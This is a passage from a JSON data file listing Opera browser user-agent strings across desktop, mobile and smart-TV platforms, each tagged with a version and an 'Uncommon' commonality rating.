AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.80 (Edition Campaign 34)\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.71 Safari\\/537.36 OPR\\/33.0.1990.43\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69 (Edition Campaign 18)\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 4K 2015 Build\\/LMY48E.S197) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 OMI\\/4.4.22.20.E102586-1.126\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.101 Safari\\/537.36 OPR\\/40.0.2308.62\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.8.3) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (TECHWOOD, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88 (Edition Campaign 49)\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.72 Safari\\/537.36 OPR\\/15.0.1147.148\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.3; HTC Sensation Z710e Build\\/IML74K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.107 Mobile Safari\\/537.36 OPR\\/29.0.1809.93516\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.98 Safari\\/537.36 OPR\\/44.0.2510.857\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36 OPR\\/29.0.1795.47\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2832.2 Safari\\/537.36 OPR\\/41.0.2340.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.0.4; ST21i Build\\/11.0.A.4.22) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.58 Mobile Safari\\/537.31 OPR\\/14.0.1074.58201\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; KFGIWI Build\\/LVY48F) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2192.105088\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; Linux Mint; en) Presto\\/2.2.15 Version\\/10.10\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47 (Edition Campaign 75)\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 5.1; XT1060 Build\\/LPAS23.12-39.7-1; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/54.0.2840.85 Mobile Safari\\/537.36 OPR\\/21.0.2254.110234\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.8 Safari\\/537.36 OPR\\/40.0.2301.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.132 Safari\\/537.36 OPR\\/21.0.1432.57 (Edition Campaign 47)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (HW-HUAWEI_U2801;U;REX\\/1.0;BREW\\/5.0.4.1;Profile\\/MIDP-2.0 Configuration\\/CLDC-1.1;128*160) Opera\\/9.70\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.65 Safari\\/537.36 OPR\\/26.0.1656.24\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2657.0 Safari\\/537.36 OPR\\/37.0.2171.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.75 Safari\\/537.36 OPR\\/36.0.2130.32\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.122 Safari\\/537.36 OPR\\/25.0.1620.0 OMI\\/4.3.18.7.Dominik.0 VSTVB MB100 HbbTV\\/1.2.1 (; PANASONIC; MB100; 0.1.34.5; ;) SmartTvA\\/3.0.0 UID(00:09:DF:A8:F1:FD\\/MB100\\/PANASONIC\\/0.1.34.5)\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; Opera Mobi\\/1; MeeGo) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows Mobile; WCE; Opera Mobi\\/WMD-50433; U; en-GB) Presto\\/2.4.13 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.40\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/52.0\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1449\"},{\"commonality\":\"Uncommon\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Uncommon\",\"version\":\"21\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.3; NokiaX2DS Build\\/JLS36C) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/34.0.1847.116 Mobile Safari\\/537.36 OPR\\/21.0.1437.75439\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.58\"},{\"commonality\":\"Uncommon\",\"version\":\"42.9\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; Lenovo A880 Build\\/JDQ39) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.91 Mobile Safari\\/537.36 OPR\\/42.9.2246.119956\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1159\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11;Linux x86_64;Ubuntu\\/15.10) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.82 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2774.3 Safari\\/537.36 OPR\\/40.0.2288.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.23.11 (JVC, Mxl66140_V, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0(Windows NT 6.2) AppleWebKit\\/537.36(KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88 (Edition RMV)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.179 VSTVB MB100 HbbTV\\/1.2.1 (; HITACHI; MB100; 2.15.20.0; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.20 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.812\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; GT-I9100 Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.107 Mobile Safari\\/537.36 OPR\\/29.0.1809.91837\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1; Lenovo P1ma40 Build\\/LMY47D) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Mobile Safari\\/537.36 OPR\\/37.0.2192.105088\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.36\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; HbbTV\\/1.2.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/6.0.0 SmartTvA\\/3.0.0 (PhilipsTV, 6.1.1,) en Firmware\\/) Presto\\/2.12.407 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.122 Safari\\/537.36 OPR\\/24.0.1558.64\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36 OPR\\/29.0.1795.47\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2) Presto\\/2.12.388 Version\\/12.12\"},{\"commonality\":\"Uncommon\",\"version\":\"10.5\",\"ua\":\"Opera\\/9.80 (Android; Linux; Opera Mobi\\/ADR-1012221546; U; pl) Presto\\/2.7.60 Version\\/10.5\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.82 Safari\\/537.36 OPR\\/29.0.1795.41 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"27\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/40.0.2214.111 Safari\\/537.36 OPR\\/27.0.1689.69\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; en) Opera 12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.517\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; ru) Presto\\/2.10.289 Version\\/12.02\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2687.0 Safari\\/537.36 OPR\\/38.0.2205.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.56\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.21 Safari\\/537.36 OPR\\/40.0.2308.3 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.63 Safari\\/537.36 OPR\\/15.0.1162.61541\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; HbbTV\\/1.2.1 (; Philips; ; ; ; ) NETTV\\/5.1.1 SmartTvA\\/3.0.0 (PhilipsTV, 6.1.1,) Firmware\\/) Presto\\/2.12.407 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.193\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Edition Campaign 21) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.9.168 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Opera Mobi\\/49; U; en) Presto\\/2.4.18 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.9.168 Version\\/11.50\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"25\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/38.0.2125.101 Safari\\/537.36 OPR\\/25.0.1614.35 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; HbbTV\\/1.2.1 (; Philips; 55PFK719912; ; PHILIPSTV;  CE-HTML\\/1.0 NETTV\\/4.4.1 SmartTvA\\/3.0.0 Firmware\\/012.003.026.128 (PhilipsTV, 3.1.1,)en) ) Presto\\/2.12.407 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; MRA 8.2 (build 7033)) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zbov; U; fr) Presto\\/2.10.254 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36 OPR\\/26.0.1656.60,gzip(gfe)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.107 Safari\\/537.36 OPR\\/29.0.1809.92117\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; A37f Build\\/LMY47V) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Mobile Safari\\/537.36 OPR\\/34.0.2044.101442\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.111 Safari\\/537.36 OPR\\/34.0.2036.50\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; HbbTV\\/1.2.1 (; Philips; ; ; ; ) CE-HTML\\/1.0 NETTV\\/6.0.0 SmartTvA\\/3.0.0 (PhilipsTV, 6.1.1,) en) Presto\\/2.12.407 Version\\/12.50\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2739.0 Safari\\/537.36 OPR\\/39.0.2248.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2739.0 Safari\\/537.36 OPR\\/39.0.2248.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.91 Safari\\/537.36 OPR\\/48.0.2685.32\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/10.60 (Linux sh4 ; U; HbbTV\\/1.1.1 (;;;;;); CE-HTML; TechniSat DIGIT ISIO S; de) Presto\\/2.6.33 Version\\/10.60\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.13\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.4.4; E2105 Build\\/24.0.A.5.14) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.85 Mobile Safari\\/537.36 OPR\\/41.0.2246.110333\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.95 Safari\\/537.36 OPR\\/15.0.1147.153\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.58 Safari\\/537.31 OPR\\/14.0.1074.58201\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.44\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; de) Presto\\/2.12.423 Version\\/12.16\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows 95) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36 OPR\\/37.0.2178.43\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows 95; U; en) Presto\\/2.6.30 Version\\/10.63\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Linux armv6l ; U; CE-HTML\\/1.0 NETTV\\/3.0.1;; en) Presto\\/2.6.33 Version\\/10.60\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; Ubuntu\\/16.04) Presto\\/2.12.388 